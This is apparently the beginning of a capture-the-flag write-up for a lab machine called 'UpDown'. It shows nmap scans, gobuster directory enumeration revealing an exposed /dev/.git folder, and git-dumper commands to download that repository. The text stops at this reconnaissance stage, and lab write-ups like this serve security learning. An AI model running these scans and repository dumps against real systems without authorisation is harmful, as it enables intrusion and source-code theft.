

UpDown

NMAP

```
nmap -sS 10.129.57.148
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-31 14:06 GMT
Nmap scan report for 10.129.57.148
Host is up (0.087s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
```

Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds

```
nmap -A 10.129.57.148
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-31 14:09 GMT
Nmap scan report for 10.129.57.148
Host is up (0.023s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Is my Website up ?
|_ http-server-header: Apache/2.4.41 (Ubuntu)
```

Port 80

  10.129.57.148 

Welcome, Is My Website UP ?

Here you can check if your website is up or down.

Website to check:

☐ Debug mode (On/Off)

http://google.com
seems to be down.
Debug mode:

Gobuster

```
gobuster dir -u http://10.129.57.148 -w /usr/share/wordlists/dirb/common.txt
=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:                http://10.129.57.148
[+] Method:             GET
[+] Threads:            10
[+] Wordlist:            /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent:         gobuster/3.1.0
[+] Timeout:            10s
=====
2023/01/01 09:30:27 Starting gobuster in directory enumeration mode
=====
/.hta                  (Status: 403) [Size: 278]
/.htpasswd             (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/dev                  (Status: 301) [Size: 312] [-->
http://10.129.57.148/dev/]
/index.php             (Status: 200) [Size: 1131]
/server-status        (Status: 403) [Size: 278]
=====
2023/01/01 09:30:40 Finished
```

```
=====
gobuster dir -u http://10.129.57.148/dev/ -w
/usr/share/wordlists/dirb/common.txt
=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://10.129.57.148/dev/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
=====
2023/01/01 09:33:19 Starting gobuster in directory enumeration mode
=====
/.git/HEAD (Status: 200) [Size: 21]
/.htaccess (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/index.php (Status: 200) [Size: 0]
=====
2023/01/01 09:33:30 Finished
=====
```

Git

```
git clone https://github.com/arthaud/git-dumper
cd git-dumper
pip3 install -r requirements.txt
./git_dumper.py 'http://10.129.57.148/dev/.git/' ~/10.129.57.148
```